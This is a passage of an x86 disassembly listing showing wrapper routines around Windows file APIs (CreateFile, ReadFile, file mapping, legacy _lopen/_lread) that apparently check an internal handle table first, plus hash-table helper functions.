		retn	4
sub_41E552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E58B	proc near		; DATA XREF: _5:00424228o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_14]
		and	eax, 40000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414344
		test	eax, eax
		jnz	short loc_41E5D2
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424628	; CreateFileA
		mov	[ebp+var_4], eax


loc_41E5D2:				; CODE XREF: sub_41E58B+27j
		mov	eax, [ebp+var_4]
		leave
		retn	1Ch
sub_41E58B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5D9	proc near		; DATA XREF: _5:00424230o

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 0041E69C SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421A70
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		or	[ebp+var_1C], 0FFFFFFFFh
		and	[ebp+var_4], 0
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_20], eax
		xor	eax, eax
		mov	edi, [ebp+var_20]
		stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_424738	; WideCharToMultiByte
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 103h
		ja	short loc_41E663
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	[ebp+var_20]
		call	sub_414344
		test	eax, eax
		jnz	short loc_41E681


loc_41E663:				; CODE XREF: sub_41E5D9+70j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42462C	; CreateFileW
		mov	[ebp+var_1C], eax


loc_41E681:				; CODE XREF: sub_41E5D9+88j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41E68C
		jmp	short loc_41E69C
sub_41E5D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E68C	proc near		; CODE XREF: sub_41E5D9+ACp
					; DATA XREF: _4:00421A78o
		mov	eax, [ebp-20h]
		mov	[ebp-2Ch], eax
		push	dword ptr [ebp-2Ch]
		call	sub_41BACD
		pop	ecx
		retn
sub_41E68C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E5D9


loc_41E69C:				; CODE XREF: sub_41E5D9+B1j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch
; END OF FUNCTION CHUNK	FOR sub_41E5D9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E6B0	proc near		; DATA XREF: _5:00424250o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41473F
		test	eax, eax
		jnz	short loc_41E6D0
		push	[ebp+arg_0]
		call	ds:dword_424624	; CloseHandle
		mov	[ebp+var_4], eax


loc_41E6D0:				; CODE XREF: sub_41E6B0+12j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_41E6B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E6D7	proc near		; DATA XREF: _5:00424248o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415175
		test	eax, eax
		jnz	short loc_41E711
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4246FC	; ReadFile
		mov	[ebp+var_4], eax
		jmp	short loc_41E734
; ---------------------------------------------------------------------------


loc_41E711:				; CODE XREF: sub_41E6D7+1Ej
		cmp	[ebp+arg_10], 0
		jz	short loc_41E734
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 0
		jnz	short loc_41E734
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_41E734
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+10h]
		call	ds:dword_424704	; SetEvent


loc_41E734:				; CODE XREF: sub_41E6D7+38j
					; sub_41E6D7+3Ej ...
		mov	eax, [ebp+var_4]
		leave
		retn	14h
sub_41E6D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E73B	proc near		; DATA XREF: _5:00424258o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41441F
		test	eax, eax
		jnz	short loc_41E76C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424708	; SetFilePointer
		mov	[ebp+var_4], eax
		jmp	short loc_41E778
; ---------------------------------------------------------------------------


loc_41E76C:				; CODE XREF: sub_41E73B+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_41E778
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax], 0


loc_41E778:				; CODE XREF: sub_41E73B+2Fj
					; sub_41E73B+35j
		mov	eax, [ebp+var_4]
		leave
		retn	10h
sub_41E73B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E77F	proc near		; DATA XREF: _5:00424270o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_41E799
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_414214
		test	eax, eax
		jnz	short loc_41E7B4


loc_41E799:				; CODE XREF: sub_41E77F+8j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424630	; CreateFileMappingA
		mov	[ebp+var_4], eax


loc_41E7B4:				; CODE XREF: sub_41E77F+18j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_41E77F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7BB	proc near		; DATA XREF: _5:00424278o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_41E7D5
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_414214
		test	eax, eax
		jnz	short loc_41E7F0


loc_41E7D5:				; CODE XREF: sub_41E7BB+8j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424634	; CreateFileMappingW
		mov	[ebp+var_4], eax


loc_41E7F0:				; CODE XREF: sub_41E7BB+18j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_41E7BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7F7	proc near		; DATA XREF: _5:00424280o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413FDF
		test	eax, eax
		jnz	short loc_41E82F
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4246EC	; MapViewOfFile
		mov	[ebp+var_4], eax


loc_41E82F:				; CODE XREF: sub_41E7F7+1Ej
		mov	eax, [ebp+var_4]
		leave
		retn	14h
sub_41E7F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E836	proc near		; DATA XREF: _5:00424288o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_413EED
		test	eax, eax
		jnz	short loc_41E856
		push	[ebp+arg_0]
		call	ds:dword_424720	; UnmapViewOfFile
		mov	[ebp+var_4], eax


loc_41E856:				; CODE XREF: sub_41E836+12j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_41E836	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E85D	proc near		; DATA XREF: _5:004242F0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_414344
		test	eax, eax
		jz	short loc_41E8EB
		cmp	[ebp+arg_4], 0
		jz	short loc_41E8E6
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		cmp	eax, 88h
		jnz	short loc_41E8E6
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax+1], 1
		mov	eax, [ebp+arg_4]
		and	word ptr [eax+2], 0
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_8], 7Fh
		jnb	short loc_41E8BB
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		jmp	short loc_41E8C2
; ---------------------------------------------------------------------------


loc_41E8BB:				; CODE XREF: sub_41E85D+54j
		mov	[ebp+var_10], 7Fh


loc_41E8C2:				; CODE XREF: sub_41E85D+5Cj
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		add	edi, 8
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+87h], 0


loc_41E8E6:				; CODE XREF: sub_41E85D+22j
					; sub_41E85D+2Fj
		mov	eax, [ebp+var_4]
		jmp	short loc_41E90B
; ---------------------------------------------------------------------------


loc_41E8EB:				; CODE XREF: sub_41E85D+1Cj
		push	offset dword_4215AC
		push	offset aOpenfile ; "OpenFile"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_C]


loc_41E90B:				; CODE XREF: sub_41E85D+8Cj
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_41E85D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E911	proc near		; DATA XREF: _5:004242F8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_414344
		test	eax, eax
		jz	short loc_41E931
		mov	eax, [ebp+var_4]
		jmp	short locret_41E94E
; ---------------------------------------------------------------------------


loc_41E931:				; CODE XREF: sub_41E911+19j
		push	offset dword_4215AC
		push	offset a_lopen	; "_lopen"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_8]

locret_41E94E:				; CODE XREF: sub_41E911+1Ej
		leave
		retn	8
sub_41E911	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E952	proc near		; DATA XREF: _5:00424300o

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		movzx	eax, ds:byte_429044
		and	eax, 1
		test	eax, eax
		jnz	short loc_41E986
		mov	al, ds:byte_429044
		or	al, 1
		mov	ds:byte_429044,	al
		push	offset dword_4215AC
		push	offset a_lclose	; "_lclose"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	ds:dword_429040, eax


loc_41E986:				; CODE XREF: sub_41E952+10j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41473F
		test	eax, eax
		jnz	short loc_41E9A1
		push	[ebp+arg_0]
		call	ds:dword_429040
		jmp	short locret_41E9A3
; ---------------------------------------------------------------------------


loc_41E9A1:				; CODE XREF: sub_41E952+42j
		xor	eax, eax

locret_41E9A3:				; CODE XREF: sub_41E952+4Dj
		leave
		retn	4
sub_41E952	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E9A7	proc near		; DATA XREF: _5:00424310o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41441F
		test	eax, eax
		jnz	short loc_41E9E5
		push	offset dword_4215AC
		push	offset a_llseek	; "_llseek"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax


loc_41E9E5:				; CODE XREF: sub_41E9A7+19j
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_41E9A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E9EC	proc near		; DATA XREF: _5:00424308o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415175
		test	eax, eax
		jnz	short loc_41EA3E
		push	offset dword_4215AC
		push	offset a_lread	; "_lread"
		call	sub_41D300
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_C]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_41EA3E
		mov	[ebp+var_4], 1


loc_41EA3E:				; CODE XREF: sub_41E9EC+20j
					; sub_41E9EC+49j
		cmp	[ebp+var_4], 0
		jnz	short loc_41EA4A
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	short loc_41EA50
; ---------------------------------------------------------------------------


loc_41EA4A:				; CODE XREF: sub_41E9EC+56j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax


loc_41EA50:				; CODE XREF: sub_41E9EC+5Cj
		mov	eax, [ebp+var_10]
		leave
		retn	0Ch
sub_41E9EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA57	proc near		; CODE XREF: sub_416C60+5E3p
					; sub_416C60+629p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+arg_0]
		shl	eax, 2
		push	eax
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_8]
		add	eax, 10h
		push	eax
		call	ds:dword_4246CC	; InitializeCriticalSection
		mov	eax, [ebp+var_8]
		leave
		retn	4
sub_41EA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA9B	proc near		; CODE XREF: sub_41EB05+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], ecx
		and	[ebp+var_4], 0
		jmp	short loc_41EAB1
; ---------------------------------------------------------------------------


loc_41EAAA:				; CODE XREF: sub_41EA9B:loc_41EAFFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41EAB1:				; CODE XREF: sub_41EA9B+Dj
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short locret_41EB01
		mov	eax, [ebp+var_14]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+ecx*4]
		mov	[ebp+var_8], eax


loc_41EACA:				; CODE XREF: sub_41EA9B+62j
		cmp	[ebp+var_8], 0
		jz	short loc_41EAFF
		cmp	[ebp+arg_0], 0
		jz	short loc_41EADF
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]
		call	[ebp+arg_0]
		pop	ecx


loc_41EADF:				; CODE XREF: sub_41EA9B+39j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_41BACD
		pop	ecx
		jmp	short loc_41EACA
; ---------------------------------------------------------------------------


loc_41EAFF:				; CODE XREF: sub_41EA9B+33j
		jmp	short loc_41EAAA
; ---------------------------------------------------------------------------

locret_41EB01:				; CODE XREF: sub_41EA9B+1Ej
		leave
		retn	4
sub_41EA9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB05	proc near		; CODE XREF: sub_418B30+51p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		push	0
		mov	ecx, [ebp+var_8]
		call	sub_41EA9B
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp+var_8]
		add	eax, 10h
		push	eax
		call	ds:dword_4246D0	; RtlDeleteCriticalSection
		leave
		retn
sub_41EB05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB38	proc near		; DATA XREF: sub_41EB4C+Co
					; sub_41EBBB+Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		cmp	eax, [ebp+arg_4]
		setnz	cl
		mov	eax, ecx
		pop	ebp
		retn	8
sub_41EB38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB4C	proc near		; CODE XREF: sub_413056+94p
					; sub_4136FE+63p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	offset sub_41EDD9
		push	offset sub_41EB38
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_41EB6C
		leave
		retn	4
sub_41EB4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41925C+20p
					; sub_41EB4C+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	[ebp+arg_8]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax


loc_41EB8D:				; CODE XREF: sub_41EB6C+47j
		cmp	[ebp+var_4], 0
		jz	short loc_41EBB5
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_41EBAA
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		jmp	short locret_41EBB7
; ---------------------------------------------------------------------------


loc_41EBAA:				; CODE XREF: sub_41EB6C+35j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_41EB8D
; ---------------------------------------------------------------------------


loc_41EBB5:				; CODE XREF: sub_41EB6C+25j
		xor	eax, eax

locret_41EBB7:				; CODE XREF: sub_41EB6C+3Cj
		leave
		retn	0Ch
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EBBB	proc near		; CODE XREF: sub_413838+93p
					; sub_413D44+106p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	offset sub_41EDD9
		push	offset sub_41EB38
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_41EBDB
		leave
		retn	4
sub_41EBBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EBDB	proc near		; CODE XREF: sub_419529+2F6p
					; sub_41EBBB+17p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_18], ecx
		mov	eax, [ebp+var_18]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	[ebp+arg_8]
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_C]
		mov	eax, [eax+ecx*4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_C]
		lea	eax, [eax+ecx*4]
		mov	[ebp+var_4], eax


loc_41EC12:				; CODE XREF: sub_41EBDB+86j
		cmp	[ebp+var_8], 0
		jz	short loc_41EC63
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_41EC4F
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	ecx, [ecx+8]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		push	[ebp+var_14]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp+var_10]
		jmp	short locret_41EC65
; ---------------------------------------------------------------------------


loc_41EC4F:				; CODE XREF: sub_41EBDB+4Bj
		mov	eax, [ebp+var_8]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		jmp	short loc_41EC12
; ---------------------------------------------------------------------------


loc_41EC63:				; CODE XREF: sub_41EBDB+3Bj
		xor	eax, eax

locret_41EC65:				; CODE XREF: sub_41EBDB+72j
		leave
		retn	0Ch
sub_41EBDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC69	proc near		; CODE XREF: sub_410000+3Ep
					; sub_414214+D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	offset sub_41EDD9
		push	offset sub_41EB38
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_41EC8C
		leave
		retn	8
sub_41EC69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC8C	proc near		; CODE XREF: sub_419529+1E2p
					; sub_41EC69+1Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	[ebp+arg_C]
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_8]
		mov	eax, [eax+ecx*4]
		mov	[ebp+var_4], eax


loc_41ECB5:				; CODE XREF: sub_41EC8C+52j
		cmp	[ebp+var_4], 0
		jz	short loc_41ECE0
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	[ebp+arg_8]
		test	eax, eax
		jnz	short loc_41ECD5
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		jmp	short loc_41ED3D
; ---------------------------------------------------------------------------


loc_41ECD5:				; CODE XREF: sub_41EC8C+3Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_41ECB5
; ---------------------------------------------------------------------------


loc_41ECE0:				; CODE XREF: sub_41EC8C+2Dj
		push	0Ch
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_41ED01
		xor	eax, eax
		mov	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax
		jmp	short loc_41ED05
; ---------------------------------------------------------------------------


loc_41ED01:				; CODE XREF: sub_41EC8C+63j
		and	[ebp+var_14], 0


loc_41ED05:				; CODE XREF: sub_41EC8C+73j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	eax, [eax+edx*4]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[eax+ecx*4], edx


